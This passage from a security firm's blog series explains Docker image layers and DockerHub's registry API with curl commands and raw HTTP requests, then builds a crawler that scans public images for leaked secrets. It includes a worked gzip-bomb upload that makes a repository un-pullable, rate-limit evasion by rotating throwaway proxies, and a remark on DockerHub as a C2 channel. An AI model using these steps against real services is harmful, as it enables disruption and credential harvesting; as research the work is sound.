latest: Pulling from library/ubuntu
2b55860d4c66: Pull complete
Digest: sha256:20fa2d7bb4de7723f542be5923b06c4d704370f0390e4ae9e1c833c8785644c1
Status: Downloaded newer image for ubuntu:latest
 ---> 2dc39ba059dc
Step 2/2 : RUN useradd watchtowr
 ---> Running in 4a1343b30818
 ---> 2d9c8f99458b
Successfully built 2d9c8f99458b
Successfully tagged test:latest

The hex strings represent intermediate containers and image layers. We can use the docker inspect command to find information about the newly-created container, including information about its file layers.

$ docker inspect test:latest
[
    {
        "Id": "sha256:2d9c8f99458bda0382bb8584707197cca58d6d061a28661b3decbe5f26c7a47d",
        "Parent": "sha256:2dc39ba059dcd42ade30aae30147b5692777ba9ff0779a62ad93a74de02e3e1f",
        "GraphDriver": {
            "Data": {
                "LowerDir": "/var/lib/docker/overlay2/af592f4c9c6219860c55265b4398d880b72b78a8891eabb863c29d0cf15f9d91/diff",
                "MergedDir": "/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/merged",
                "UpperDir": "/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff",
                "WorkDir": "/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/work"
            },
            "Name": "overlay2"
        }
    }
]

I've removed a lot of unimportant information from this, so we can focus on what we're really interested in, which is the mounted filesystem. Take a look at the path specified by UpperDir, and you'll see the contents of the image's filesystem:

$ find /var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff -type f 
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/etc/shadow
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/etc/passwd-
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/etc/.pwd.lock
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/etc/gshadow-
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/etc/subuid
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/etc/group-
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/etc/gshadow
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/etc/shadow-
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/etc/subgid-
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/etc/passwd
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/etc/group
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/etc/subgid
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/etc/subuid-
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/var/log/lastlog
/var/lib/docker/overlay2/0727186c05dce187b7c25c7f26ad929d037579d7c672e80846388436ddcb9d57/diff/var/log/faillog

Here we can see all the changes made by the final command in the Dockerfile - in our case, a useradd watchtowr command, which can be audited, examined, or logged independently of other commands or the base filesystem image.

While this may seem like an interesting but mostly-useless implementation detail, it is actually very useful to us in our quest to efficiently archive a large amount of containers. This is the mechanism that allows us to process each layer individually, allowing us to re-use the result of previous examinations. Given two unrelated containers that rely on, for example, an Ubuntu base system, we can ingest the Ubuntu base only once, and ingest the changes made by each other two containers in isolation.

DockerHub and pulling images

Given our newfound knowledge of Docker layers, it is our next task to determine how to acquire these layers in isolation. Typically, if a user wishes to use an image located on DockerHub, they will either pull it explicitly using the docker pull command or simply specify it in their Dockerfile using the FROM statement. Let's look more closely, and examine the Ubuntu xenial image. If we pay attention to a 'pull' of the image via the docker pull command, we can see that four layers are fetched:

$ docker pull ubuntu:xenial
xenial: Pulling from library/ubuntu
58690f9b18fc: Pull complete
b51569e7c507: Pull complete
da8ef40b9eca: Pull complete
fb15d46c38dc: Pull complete
Digest: sha256:91bd29a464fdabfcf44e29e1f2a5f213c6dfa750b6290e40dd6998ac79da3c41
Status: Downloaded newer image for ubuntu:xenial
docker.io/library/ubuntu:xenial

We can interrogate Docker to find information about the underlying layers using docker inspect, but we can also query the DockerHub server directly. We'll take the latter approach for our demonstration, as it will enable us to fetch layers ourselves without needing to call the docker command at all.

Our first step, given our repository name, repository owner, and, tag name, is to fetch the manifest from the registry. This is a JSON file which stores metadata about the image, such as its name, architecture, and (importantly for us) filesystem layers.

It's our experience that the DockerHub API can be quite exacting in its requirements, presumably due to some backward compatibility issues with previous clients. If you're following along, be sure to specify the specified HTTP headers when requesting, otherwise you may get unexpected results.

In order to fetch the manifest, the DockerHub API first requires that we log in (anonymously). We'll do that with curl, which should give us an access token. Note that we must specify the repository owner and name when obtaining a session:

$ curl  "https://auth.docker.io/token?service=registry.docker.io&scope=repository:library/ubuntu:pull"
{"token":"eyJhbGci<snip>gDHzIqA","access_token":"eyJhbGci<snip>gDHzIqA","expires_in":300,"issued_at":"2022-09-22T14:08:55.923752639Z"}

We're interested in the value of the 'token' field, since that's what we need to present to the DockerHub API. With this, we can fetch the manifest for the repo we're after:

$ curl --header "Authorization: Bearer eyJhbGci<snip>gDHzIqA" "https://registry-1.docker.io/v2/library/ubuntu/manifests/xenial"
{
   "schemaVersion": 1,
   "name": "library/ubuntu",
   "tag": "xenial",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:fb15d46c38dcd1ea0b1990006c3366ecd10c79d374f341687eb2cb23a2c8672e"
      },
      {
         "blobSum": "sha256:da8ef40b9ecabc2679fe2419957220c0272a965c5cf7e0269fa1aeeb8c56f2e1"
      },
      {
         "blobSum": "sha256:b51569e7c50720acf6860327847fe342a1afbe148d24c529fb81df105e3eed01"
      },
      {
         "blobSum": "sha256:58690f9b18fca6469a14da4e212c96849469f9b1be6661d2342a4bf01774aa50"
      }
   ]
   <snip>
}

Great, so we find that the image is built from five layers, and we have the hash of each! We can fetch the images themselves straight from the DockerHub API (it'll give us a HTTP redirect, so make sure you specify --location to follow it):

$ curl --location --header "Authorization: Bearer eyJhbGci<snip>gDHzIqA" 
https://registry-1.docker.io/v2/library/ubuntu/blobs/sha256:fb15d46c38dcd1ea0b1990006c3366ecd10c79d374f341687eb2cb23a2c8672e -o layer

The file we've fetched is a simple gzip'ed tarfile.

$ file layer
layer: gzip compressed data, truncated
$ tar -zvxf layer
drwxr-xr-x 0/0               0 2021-08-05 03:01 run/
drwxr-xr-x 0/0               0 2021-08-31 09:21 run/systemd/
-rw-r--r-- 0/0               7 2021-08-31 09:21 run/systemd/container

Neat. The other layers contain the bulk of the filesystem entries:

$ curl --location --header "Authorization: Bearer eyJhbGci<snip>gDHzIqA"
https://registry-1.docker.io/v2/library/ubuntu/blobs/sha256:58690f9b18fca6469a14da4e212c96849469f9b1be6661d2342a4bf01774aa50 -o layer
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0
100 44.3M  100 44.3M    0     0  22.3M      0  0:00:01  0:00:01 --:--:-- 62.6M
$ tar -zvtf layer |head
drwxr-xr-x 0/0               0 2021-08-05 03:01 bin/
-rwxr-xr-x 0/0         1037528 2019-07-13 03:26 bin/bash
-rwxr-xr-x 0/0           52080 2017-03-03 02:07 bin/cat
-rwxr-xr-x 0/0           60272 2017-03-03 02:07 bin/chgrp
-rwxr-xr-x 0/0           56112 2017-03-03 02:07 bin/chmod
-rwxr-xr-x 0/0           64368 2017-03-03 02:07 bin/chown
-rwxr-xr-x 0/0          151024 2017-03-03 02:07 bin/cp
-rwxr-xr-x 0/0          154072 2016-02-18 04:25 bin/dash
-rwxr-xr-x 0/0           68464 2017-03-03 02:07 bin/date
-rwxr-xr-x 0/0           72632 2017-03-03 02:07 bin/dd

If we browse with a web browser to view the Dockerfile that was used to create the image, we can correlate the steps - we notice that the final command in the Dockerfile is /bin/sh -c mkdir -p /run/systemd, which corresponds to the first layer we pulled down.

GZBombing

If I may take a brief step away from our larger objective here and explore something of a tangent, our research made us rather curious about the scope for abusing DockerHub for nefarious purposes. Specifically, the architecture of this system itself - a large 'blob store' - piqued my interest.

One of my first considerations was, "is it possible to upload a 'GZip bomb' - a file which decompresses to an impractically large output - to DockerHub"? This would have little real-world impact beyond creating a repository which was effectively "un-pull-able", but is an interesting curiosity nontheless.

Since gzip's maximum compression ratio is 1032:1 (see here), we will start off by compressing 1TB of zeros, producing a file roughly 1GB in size.

$ dd if=/dev/zero bs=1024 count=$((1024*1024*1024)) status=progress | gzip > tmp.gz

Docker, of course, won't let us push such large objects, and so we are forced to perform the upload process itself. We must, then, upload this file to DockerHub, and finally, create a manifest which references it as if it were a filesystem layer, so that it will be downloaded by the client when an image is pulled via the usual docker pull.

Uploading a file to DockerHub's "blob store" is straightforward, although not a single-step process. First, we must authenticate (this time with a real account on DockerHub.com). Note the access we supply is, this time, push,pull rather than pull as before. Here, I'm authenticating as my account, alizwatchtowr, and preparing to push to the foo repository.

$ curl -u alizwatchtowr:<my password> "https://auth.docker.io/token?account=alizwatchtowr&service=registry.docker.io&scope=repository:library/ubuntu:push,pull"
{"token":"..", ...}

We get a token as before. Our next step is to do a POST of length zero to the /v2/alizwatchtowr/foo/blobs/uploads/ endpoint, which will elicit a response containing a redirect via the location header. I'm going to switch to showing the raw HTTP request and response data here, rather than cURL commands.

POST /v2/alizwatchtowr/foo/blobs/uploads/ HTTP/1.1
Host: registry-1.docker.io
Content-Length: 0
Authorization: Bearer <token>

As expected, our response contains a location header.

HTTP/1.1 202 Accepted
content-length: 0
docker-distribution-api-version: registry/2.0
docker-upload-uuid: d907ce6b-c800-47a8-b7f3-c13147acd9a6
location: https://registry-1.docker.io/v2/alizwatchtowr/foo/blobs/uploads/d907ce6b-c800-47a8-b7f3-c13147acd9a6?_state=7hAcy4hFGe8sGNMae3jr9RIIuUD77OtskTElHOgT4Y57Ik5hbWUiOiJhbGl6d2F0Y2h0b3dyL2ZvbyIsIlVVSUQiOiJkOTA3Y2U2Yi1jODAwLTQ3YTgtYjdmMy1jMTMxNDdhY2Q5YTYiLCJPZmZzZXQiOjAsIlN0YXJ0ZWRBdCI6IjIwMjItMDktMjVUMTc6NTE6MTYuOTg3NDkzNzc5WiJ9
range: 0-0
date: Sun, 25 Sep 2022 17:51:17 GMT
strict-transport-security: max-age=31536000
connection: close

We must then issue a HTTP PATCH verb to the location specified by this header, with our data as the payload.

PATCH /v2/alizwatchtowr/foo/blobs/uploads/d907ce6b-c800-47a8-b7f3-c13147acd9a6?_state=7hAcy4hFGe8sGNMae3jr9RIIuUD77OtskTElHOgT4Y57Ik5hbWUiOiJhbGl6d2F0Y2h0b3dyL2ZvbyIsIlVVSUQiOiJkOTA3Y2U2Yi1jODAwLTQ3YTgtYjdmMy1jMTMxNDdhY2Q5YTYiLCJPZmZzZXQiOjAsIlN0YXJ0ZWRBdCI6IjIwMjItMDktMjVUMTc6NTE6MTYuOTg3NDkzNzc5WiJ9 HTTP/1.1
Host: registry-1.docker.io
Authorization: Bearer <token>
Content-Length: <size of tmp.gz>

<raw data from tmp.gz>

The server response with a HTTP 202 Accepted, but our work is not yet over.

HTTP/1.1 202 Accepted
content-length: 0
docker-distribution-api-version: registry/2.0
docker-upload-uuid: d907ce6b-c800-47a8-b7f3-c13147acd9a6
location: https://registry-1.docker.io/v2/alizwatchtowr/foo/blobs/uploads/d907ce6b-c800-47a8-b7f3-c13147acd9a6?_state=KhwcMVoX_Mtz8IeXtz2NCwSQoIeolZhFoD7-vZK6iYx7Ik5hbWUiOiJhbGl6d2F0Y2h0b3dyL2ZvbyIsIlVVSUQiOiJkOTA3Y2U2Yi1jODAwLTQ3YTgtYjdmMy1jMTMxNDdhY2Q5YTYiLCJPZmZzZXQiOjE4MjUsIlN0YXJ0ZWRBdCI6IjIwMjItMDktMjVUMTc6NTE6MTZaIn0%3D
range: 0-<size of tmp.gz>
date: Sun, 25 Sep 2022 17:51:22 GMT
strict-transport-security: max-age=31536000
connection: close

We must also perform an HTTP PUT to the URL in the location header, specifying the hash that we expect. We calculate the hash first:

$ pv tmp.gz |sha256sum
1017MiB 0:00:04 [ 227MiB/s] [================================>] 100%
9358dad6bc6da9103d5c127dc2e88cbcf3dd855d8a48e3e7b7e1de282f87a27f  -

Now we append this to the location, as an extra query string parameter named 'digest'. It is in the usual Docker format, hex bytes prefixed with the literal string sha256:.

PUT /v2/alizwatchtowr/foo/blobs/uploads/d907ce6b-c800-47a8-b7f3-c13147acd9a6?_state=KhwcMVoX_Mtz8IeXtz2NCwSQoIeolZhFoD7-vZK6iYx7Ik5hbWUiOiJhbGl6d2F0Y2h0b3dyL2ZvbyIsIlVVSUQiOiJkOTA3Y2U2Yi1jODAwLTQ3YTgtYjdmMy1jMTMxNDdhY2Q5YTYiLCJPZmZzZXQiOjE4MjUsIlN0YXJ0ZWRBdCI6IjIwMjItMDktMjVUMTc6NTE6MTZaIn0%3D&digest=sha256%3A9358dad6bc6da9103d5c127dc2e88cbcf3dd855d8a48e3e7b7e1de282f87a27f HTTP/1.1
Host: registry-1.docker.io
Content-Length: 0
Authorization: Bearer <token>

Finally, we see a HTTP 201 Created, and our work is done:

HTTP/1.1 201 Created
content-length: 0
docker-content-digest: sha256:1be66495afef80008912c98adc4db8bb6816376f8da430fae68779e0459566a2
docker-distribution-api-version: registry/2.0
location: https://registry-1.docker.io/v2/alizwatchtowr/foo/blobs/sha256:9358dad6bc6da9103d5c127dc2e88cbcf3dd855d8a48e3e7b7e1de282f87a27f
date: Sun, 25 Sep 2022 17:51:29 GMT
strict-transport-security: max-age=31536000
connection: close

We can verify that the resource has indeed been created by fetching it, although we must log in first. This is easily done via cURL:

$ curl  "https://auth.docker.io/token?service=registry.docker.io&scope=repository:alizwatchtowr/foo:pull"
{"token":"..", ...}
$ curl --location --header "Authorization: Bearer eyJhbGci<snip>gDHzIqA" https://registry-1.docker.io/v2/alizwatchtowr/foo/blobs/sha256:9358dad6bc6da9103d5c127dc2e88cbcf3dd855d8a48e3e7b7e1de282f87a27f -o uploaded.gz

At this stage, however, there is no DockerHub repository which references the file. In order to reference the file, we must modify the manifest of a tag to specify our new file by hash. This is easiest if we work from an existing repository, so I built a simple 'hello world' style repository, built it, and issued a docker inspect command to view its manifest. As you may recall from above, this manifest lists (among other things) the hash of filesystem images. We will simply alter this, changing one to the sha256 hash of the image we uploaded previously.

"diff_ids":[
    "sha256:7f5cbd8cc787c8d628630756bcc7240e6c96b876c2882e6fc980a8b60cdfa274",
    "sha256:9358dad6bc6da9103d5c127dc2e88cbcf3dd855d8a48e3e7b7e1de282f87a27f"
]

Note the final layer's hash.

We can upload this file to the 'blob store' as before, which yields the hash of the manifest itself (in our case, fee9926cf943231119d363b65042138890ca9ad6299a75e6061aa97dade398d0). But DockerHub still won't recognise it as a manifest - we must perform one final step, which is a simple PUT to /v2/alizwatchtowr/foo/manifests/latest. This request uploads a manifest list, which specifies the hash of the manifest itself. It looks like this:

{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {
      "mediaType": "application/vnd.docker.container.image.v1+json",
      "size": 1619,
      "digest": "sha256:1834ec0829375e72a44940b8f084cd02991736281d012396e1dc32ce9ea36e8d"
   },
   "layers": [
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 30426706,
         "digest": "sha256:2b55860d4c667a7200a0cb279aec26777df61e5d3530388f223ce7859d566e7a"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 1825,
         "digest": "sha256:1be66495afef80008912c98adc4db8bb6816376f8da430fae68779e0459566a2"
      }
   ]
}

We change the first digest to that of our manifest, and send it via an HTTP PUT.

{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {
      "mediaType": "application/vnd.docker.container.image.v1+json",
      "size": 1619,
      "digest": "sha256:fee9926cf943231119d363b65042138890ca9ad6299a75e6061aa97dade398d0"
   },
   "layers": [
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 30426706,
         "digest": "sha256:2b55860d4c667a7200a0cb279aec26777df61e5d3530388f223ce7859d566e7a"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 1825,
         "digest": "sha256:1be66495afef80008912c98adc4db8bb6816376f8da430fae68779e0459566a2"
      }
   ]
}

Finally, our image is uploaded to DockerHub! Browsing to it shows the hash of the manifest list, and nothing seems to be awry:

Layer Cake: How Docker Handles Filesystem Access - Docker Container Images (2/4)

But when we try to pull it, we are met with unusably slow decompression of 1TB of data. We have successfully pushed an object so large it cannot be pulled.

Layer Cake: How Docker Handles Filesystem Access - Docker Container Images (2/4)
Could God himself create an object so large that He Himself couldn't lift it?

We could, if this was not enough, add more layers or add even larger payload data.

Since the API requires that we authenticate, the scope for HTTP-based shenanigans such as XSS reduced to almost zero. Storing arbitrary objects in an object blob store itself can hardly be called a vulnerability (although it may be useful to some attackers).

Bringing it all together

In this post, we've scrutinised Docker's concept of layered filesystems, learning how we can enumerate the layers associated with an image, and how to fetch them individually from DockerHub, without their dependencies. Given our new understanding, it is now possible for us to write an efficient file indexer for Docker images, fetching only layers we have not yet indexed, and ingesting only files we have not encountered before. This ability enables us to ingest the files contained within a Docker image without needing to shell out to the docker command at all.

While this comprehension may seem academic at first glance, it is actually a crucial part of the system we are designing in this series. As mentioned above, initial prototyping of this system would fetch containers simply by repeatedly executing docker pull, which would pull all of the layers referenced by the given container. Since these would be written to disk, a periodic prune was necessary to remove them. However, this often meant that base layers were fetched repeatedly, leading to unacceptably poor performance and network load - preventing us from processing data at the scale we aspire to.

This new approach, however, enables us to process Docker layers individually, building up our view of containers in a much more structured way, with no duplication. With the significant boost in efficiency that this brings, we are able to fetch substantially more files from DockerHub, and thus build up a much more realistic view of the broader container landscape, ultimately resulting in more statistically reliable output.

We also took a brief jaunt into the file upload process, figuring out how to upload filesystem layers to DockerHub, and how to modify manifests, culminating in a gzip bomb, which (while useless) is an interesting curiosity. One wonders how effective a C2 network built upon DockerHub objects would be, since very few organisations would scrutinize this traffic.

Next week, we'll put our newfound knowledge about Docker's layered filesystem into practical use, discussing how we built a system capable of archiving, indexing, and examining such a large quantity of data for those all-important secrets. We'll outline general design and then delve into detail on specific topics, outlining difficulties we faced and sharing performance statistics. I hope you'll join us!

Examining this kind of 'hidden' attack surface is exactly what we do here at watchTowr. We believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation

If you'd like to learn more about the watchTowr Platform, our Continuous Automated Red Teaming and Attack Surface Management solution, please get in touch.

Learning To Crawl (For DockerHub Enthusiasts, Not Toddlers) - Docker Container Images (3/4)

15 February 2023 at 13:25
Learning To Crawl (For DockerHub Enthusiasts, Not Toddlers) - Docker Container Images (3/4)

This post is the third part of a series on our recent adventures into DockerHub. Before you read it, you are advised to look at the part other parts of this series:

-

Those who have been following this series on our processing of DockerHub will be all ready for this, the third post, focused on system design. If you're a relative newcomer, though, or haven't been following the series, don't worry - we've got you covered with a quick recap!

As I stated in the previous post, we have a very simple mission here at watchTowr - to help our clients understand how they could be compromised today. After noting how frequently we discover potential compromises due to secrets lurking inside publicly-available Docker images, we decided to carry out a more thorough study to assess the scale of this kind of credential leakage.

We love doing things "at scale" here at watchTowr, and so we didn't just try to docker pull a few images and grep -ir password . - we did things in a much larger manner. This means we can make statistically meaningful generalisations from our results. In this post, we're going to share the overall 'system design' that we used to acquire, process, and examine files, ultimately finding oodles of secrets - everything from passwords to certificates and everything in between.

General Design

As I allude to above, it is our intention to fetch a statistically significant portion of the DockerHub dataset. To do this, a single computer isn't going to be enough - we are going to need to use multiple "fetch-worker" nodes. We used Amazon's EC2 service for this, to allow for easier scaling.

Our approach is to use a MySQL database for storing file metadata (such as filesystem path, filename, size, and a sha256 hash of the contents). The files themselves, once extracted from a Docker filesystem, are stored in a flat filesystem directory. We chose to use AWS' 'Elastic File System' for this, which is based on NFS. Note that we don't store the Docker image files themselves - we download them, extract the files they contain, and discard them.

Once files - referred to as 'artifacts' going forward - have their metadata and contents ingested into the system, separate instances (which we termed "scan-workers") search them for interesting information, such as keys and access tokens, via a slightly-modified version of the popular GitLeaks software. We'll go into more detail on the "scan" side of the system in a subsequent blog post.

Finally, we use the Zabbix monitoring software to graph metrics, and (combined with the excellent py-spy tool) monitor and troubleshoot performance issues.

Learning To Crawl (For DockerHub Enthusiasts, Not Toddlers) - Docker Container Images (3/4)
Zabbix helps us spot misbehaving nodes and odd circumstances

Problem 1: Finding Repositories

One aspect of the project we expected to be very simple is the mere act of locating repository names in order to fetch them. Taking a look at the DockerHub search page, we can see a number of web services which speak json, and so we scurried away to write tools to consume this data.

Learning To Crawl (For DockerHub Enthusiasts, Not Toddlers) - Docker Container Images (3/4)
Great, a webservice! Let's leech from it!

However, our triumph was short-lived, since this service only returned the first 2,500 search results, yielding only a HTTP 400 response for anything beyond this range. While there are some ways to work around this - applying search filters, or a dictionary attack on search keywords - there is actually a much better way.

Regular readers of the blog will remember a previous post in which we sing the praises of the Common Crawl dataset. The dataset, which essentially an open-source crawl of the web, can come to our rescue here. Rather than attempt to spider the DockerHub page ourselves, why not query the Common Crawl for all pages in the hub.docker.com domain? While there'll be a lot of false positives, they're easily discarded, and the result will be a lot URLs containing information about repositories or usernames (from which it is easy to fetch a list of owned repositories).

We'll do this in Athena:

select count(*) 
FROM "ccindex"."ccindex"
WHERE crawl like 'CC-MAIN-2022-33'
and url_host_name = 'hub.docker.com'
Pretty simple, huh?

This simple query yields slightly over 274,000 results. While not all of which are useful to us, the majority are, as this file yields information about over 20,000 individual repositories.

Learning To Crawl (For DockerHub Enthusiasts, Not Toddlers) - Docker Container Images (3/4)
Repositories galore!

Fantastic! Now we're ready to spider. Right? Well, almost.

Problem 2: Rate Limiting

Unfortunately for us, the DockerHub API will aggressively rate-limit our requests, responding with a HTTP 429 once we exceed some invisible quota. While our first instinct is to register, and pay for this service, it seems like bulk access to this API is not a service that DockerHub offer, and so we must turn to more inventive methods.

While we initially run a number of SOCKS proxy servers, we found they became rate-limited very quickly, and so we designed a system whereby each proxy (an EC2 'mini' instance) is used only until rate-limiting begins. As soon as we see a HTTP 429, we destroy the proxy instance and build a fresh one.

Finally, we're ready to spider.

Iterating And Claiming Layer(z)

Owing to the knowledge of Docker layers we built up in the previous post, we can fetch in a fairly intelligent manner. First, each "fetch-worker" will iterate the list of valid repositories, and find the most recently-pushed tag for each. This is a design decision intended to keep the dataset representative of the wider DockerHub contents; while it means we may miss secrets only stored in certain tags, it has the advantage that we don't discover revoked secrets in obsolete repository versions.

For each tag, we'll then enumerate layers, inserting them into the database.

Once this is complete, we can begin to fetch the layer itself. We must be mindful not to duplicate work, and to this end, a fetch-worker node will first 'claim' each layer by adding to the docker_layers_in_progress table on the centralised database, which uses a unique key to ensure that each layer can only be allocated to a single node. This approach (while slightly inefficient) allows us to rapidly scale worker nodes.

Once a node has claimed a layer, it can simply fetch it via HTTP. If the layer is very large, it will be saved to disk, otherwise, the layer will be held in memory. Either way, the data is decompressed, and the resulting tar file iterated. Each entry in the tar file results in at least one insertion into the database. For regular files, the file is also copied to the 'flat' store, an NFS-mounted file share.

Pulling An Image

Our first step is to list the tags present for a given repository image (identified by owner and name). This is easily done by requesting an endpoint from the v2 API anonymously, with a simple GET.

curl  "https://hub.docker.com/v2/repositories/library/ubuntu/tags"

The results are plentiful.

 {
  "count": 517,
  "next": "https://hub.docker.com/v2/repositories/library/ubuntu/tags?page=2",
  "previous": null,
  "results": [
    {
      "creator": 7,
      "id": 2343,
      "images": [
        {
          "architecture": "amd64",
          "features": "",
          "variant": null,
          "digest": "sha256:2d7ecc9c5e08953d586a6e50c29b91479a48f69ac1ba1f9dc0420d18a728dfc5",
          "os": "linux",
          "os_features": "",
          "os_version": null,
          "size": 30426706,
          "status": "active",
          "last_pulled": "2022-09-24T12:06:27.353126Z",
          "last_pushed": "2022-09-02T00:04:28.778974Z"
        },
   <snip>

As you can see, all the fields we need are here - the architecture and the OS, which we filter on, and the date the tag was last pushed. Great.

The next step is to identify the layers involved, and fetch them. This we dealt with in a previous post, so I won't go into detail, but suffice to say we must authenticate (anonymously) and then fetch the tag's manifest, which contains hashes of the constituent layers. I'll show examples using curl, for ease of demonstration, but the actual code to do this is Python.

$ curl  "https://auth.docker.io/token?service=registry.docker.io&scope=repository:library/ubuntu:pull"
{"token":"eyJhbGci<snip>gDHzIqA","access_token":"eyJhbGci<snip>gDHzIqA","expires_in":300,"issued_at":"2022-09-22T14:08:55.923752639Z"}

$ curl --header "Authorization: Bearer eyJhbGci<snip>gDHzIqA" "https://registry-1.docker.io/v2/library/ubuntu/manifests/xenial"

Our result looks something akin to this:

{
   "schemaVersion": 1,
   "name": "library/ubuntu",
   "tag": "xenial",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:fb15d46c38dcd1ea0b1990006c3366ecd10c79d374f341687eb2cb23a2c8672e"
      },
      {
         "blobSum": "sha256:da8ef40b9ecabc2679fe2419957220c0272a965c5cf7e0269fa1aeeb8c56f2e1"
      },
      {
         "blobSum": "sha256:b51569e7c50720acf6860327847fe342a1afbe148d24c529fb81df105e3eed01"
      },
      {
         "blobSum": "sha256:58690f9b18fca6469a14da4e212c96849469f9b1be6661d2342a4bf01774aa50"
      }
   ]
   <snip>
}

Finally, we can fetch the resources by their hash.

$ curl --location --header "Authorization: Bearer eyJhbGci<snip>gDHzIqA" https://registry-1.docker.io/v2/library/ubuntu/blobs/sha256:fb15d46c38dcd1ea0b1990006c3366ecd10c79d374f341687eb2cb23a2c8672e

It's worth noting at this point that there appears to be more than one version of this schema in active use - do check the schemaVersion tag and handle all versions!

I was also somewhat surprised to find that fetching certain layers from DockerHub will yield a corrupted archive, even when pulled using the official Docker client. I was under the impression that DockerHub used fancy locking semantics to ensure atomicity, but perhaps certain repositories were uploaded before this feature was rolled out. Also of note is the presence of zero-byte layers, which we must handle.

With this architecture, however, we are able to ingest a large amount of data and scale efficiently. We've solved the problems that stood in our way, and we're now ready to analyse all that data, which is the topic of the next post in the series!

Performance

While we deliberately chose not to spend a large amount of time optimising performance, we can share some interesting datapoints.

The database (MySQL on a t2.2xlarge instance) itself performed adequately, although our technique for allocating scan nodes added a lot of latency. It is suggested that any follow-up research replace this with some kind of scalable queuing system. While we won't go into detail on the topic of MySQL, as database tuning is an art in itself, we will share the size of the database itself - around 200GB (including performance and statistical data logged by Zabbix).

One major bottleneck was the 'flat' data storage shared between nodes. Early on, we made the design decision to store files in a 'flat' structure, with each simply named according to its hash. While typical filesystems usually scale badly beyond around a million files, our experience in the past with large  (single-digit millions) files in this kind of structure has been adequate, showing that everything but listing the file contents (which we do not need to do) is performant, given reasonable hardware and an ext4 filesystem.

Initially, we tried to use S3 for storage of objects, but found that the overhead of a full HTTP API call for each file we examine was significant, and so we moved to Amazon's Elastic File System.

As you can see in the blow graph, most of the IO that we generated during normal ingest was in metadata - a sure sign of inefficiency.

Learning To Crawl (For DockerHub Enthusiasts, Not Toddlers) - Docker Container Images (3/4)
Yowza!

At the end of the project, we also attempted to transfer the amassed files to a physical disk for long-term archival, since storing data in EFS is chargeable. However, we found that many tools which we've used previously with filesets in the single-digit-millions size became unusable, even when we were patient. For example, mounting the NFS volume and attempting to rsync the contents would result in hung sessions and no files. When we came up with a solution, we observed around 60% of IOPS were for object metadata, even though we were solely fetching objects by name, and not enumerating them. Clearly, Amazon's EFS is having some difficulty adapting to our unusual workload (although I hasten to add that it is still usable, a feat of engineering in itself).

These two factor combine and make it obvious that we are at (or beyond) the limits of a flat filesystem. For any who which to extend or replicate the research, we would suggest either using either a directory structure (perhaps something simple, based on the file hash) or a proper 'archival' file format such as the WARC archives that the Common Crawl project uses. This would necessitate writing some code to properly synchronise and ingest objects transferred from worker nodes.

Everyone Hates Regex

Perhaps surprisingly, the overhead of the Python runtime itself is quite small. One notable performance optimisation we did find necessary, however, is to shell out to the underlying OS's gz command in order to decompress files, which we observed to be roughly twice the speed of Python's implementation.

One other area that Python did show weakness is that of matching regular expressions. Initially, we matched each filename before scanning each file, so that we could skip files we weren't interested in. However, this was unusably slow - we quickly found that it was much faster to simply scan each file, and only check if the result was interesting via a filename cehck after doing so. This cut down the amount of regex queries significantly. Perhaps a subsequent project could use a compiled language such as golang instead of Python.

It should also be noted that the design of the regular expressions themselves is important (perhaps no surprise to those that regularly write regular expressions in high-traffic environments). We write some test code to benchmark our regular expressions and quickly found two which took around ten times longer to process than others - I had inadvertently left them unrooted.

By this, I mean that there was no 'anchor' at the end nor start of the expression. For example, the following would be very slow:

.*secret.*

while the following would be blazingly fast

.*secret$

The reason for this is obvious in retrospect - the second regex must check six bytes at the end of an input text, while the first must check for the presence of six bytes at any location in the input text.

Conclusions

